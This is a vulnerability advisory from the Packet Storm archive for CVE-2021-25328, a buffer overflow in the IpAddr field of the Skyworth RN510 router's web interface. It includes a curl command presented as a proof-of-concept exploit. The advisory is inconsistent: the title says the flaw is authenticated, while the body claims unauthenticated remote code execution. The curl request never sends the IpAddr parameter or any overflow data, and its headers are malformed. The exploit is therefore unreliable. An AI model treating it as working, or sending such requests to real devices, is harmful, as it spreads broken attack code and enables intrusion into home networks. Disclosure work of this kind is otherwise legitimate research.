

Shenzhen Skyworth RN510 Buffer Overflow

Authored by [Kautubh G. Padwad](#)

Posted [May 4, 2021](#)

Shenzhen Skyworth RN510 suffers from a buffer overflow vulnerability that allows for remote code execution.

tags | [exploit](#), [remote](#), [overflow](#), [code execution](#)

advisories | [CVE-2021-25328](#)

SHA-256 | [93aa64937ba7f7f896bc583390423bd6be7254ef45979a7f1e67273873d3d9df](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

itle :- Authenticated Stack Overflow in RN510 mesh Device
CVE-ID:- CVE-2021-25328
Author: Kautubh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company Ltd.(<http://www.skyworthdigital.com/products>)
Products:
1. RN510 With firmware V.3.1.0.4 (Tested and verified)
Potential
2. RN620 with respective firmware or below
3. RN410 With Respective firmware or below.
Severity: High--Critical
Advisory ID
=====
KSA-Dev-0010
About the Product:
=====

* RN510 dual-band wireless AC2100 access point delivers high-speed access for web surfing and HD video streamings. Integrated with two gigabit LAN ports, and a dual-band AP which supports 2x2 802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510 provides a stable & reliable high speed wired and wireless connectivity for home user and SOHO users. Utilizing state of art EasyMesh solution, two or more RN510 units could be easily teamed upwith Skyworth ONT gateway (e.g. ON543) and form an automatically organized network. RN510 could support either wired line backhaul or wireless backhaul to other mesh node. User could enjoy a wonderful zero-touch, robust and failure auto recovery, seamless connected wireless home networking experience. RN510 uses a system of units to achieve seamless whole-home Wi-Fi coverage, eliminate weak signal areas once and for all. RN510 work together to form a unified network with a single network name. Devices automatically switch between RN510s as you move through your home for the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area of up to 2,800 square feet. And if that's not enough, simply add more RN510 to the network anytime to increase coverage. RN510 provides fast and stable connections with speeds of up to 2100 Mbps and works with major internet service provider (ISP) and modem. Parental Controls limits online time and block inappropriate websites according to unique profiles created for each family member. Setup is easier than ever with the Skywifi app there to walk you through every step.

Description:
=====

An issue was discovered on Shenzhen Skyworth

A long Text to the IpAddr function allows remote attackers to cause a denial of service (segmentation fault) or achieve unauthenticated remote code execution because of control of registers.

Additional Information
=====

The value of IpAddr under /cgi-bin/app-staticIP.asp function is not getting sanitized,so passing too much junk data to the IpAddr parameter triggers to the SIGSEGV segmentation fault in device, post research it was possible to control the registers.A Successful exploitation could leads to unauthenticated remote code execution on device.

[Affected Component]
IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web server implementation.

[Attack Type]
Remote

[Impact Code execution]
true

[Impact Denial of Service]
true

[Attack Vectors]
Remote code execution by running the poc.py against the target ip address.

[Vulnerability Type]
=====

Buffer Overflow,Exec

How to Reproduce: (POC):
=====

One can use below exploit
curl -i -s -k -X '\$POST' \
-H '\$Host: device_IP' -H '\$User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H '\$Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H '\$Accept-Language: en-US,en;q=0.5' -H '\$Accept-Encoding: gzip, deflate' -H '\$Referer: http://device-ip/cgi-bin/app-staticIP.asp' -H '\$Content-Type: application/x-www-form-urlencoded' -H '\$Content-Length: 500' -H '\$Connection: close' -H '\$Upgrade-Insecure-Requests: 1' \
-b '\$SESSIONID=valid_cookie; UID=username; ESN=password' \
--data-binary
\$'hEntry0=-1&hEntry1=-1&hEntry2=-1&hEntry3=-1&hEntry4=-1&hEntry5=-1&hEntry6=-1&hEntry7=-1&hEntry8=-1&delete_flag=1' \
\$'http://device_ip/cgi-bin/app-staticIP.asp'

Mitigation
=====

[Vendor of Product]
Shenzhen Skyworth Digital Technology Company Ltd.(<http://www.skyworthdigital.com/products>)

Disclosure:
=====

19-Jan-2021:- reported this to vendor
19-Jan-2021:- Requested for CVE-ID

credits:
=====

* Kautubh Padwad
* Information Security Researcher
* kingkautubh@gmail.com
* <https://s3curityb3ast.github.io/>
* <https://twitter.com/s3curityb3ast>

Search ...

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11security 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946) Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

* <http://breaktheseccom>
* <https://www.linkedin.com/in/kaustubhpadwal>

◀ Login or Register to add favorites ▶

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)

 Follow us on Twitter

 Subscribe to an RSS Feed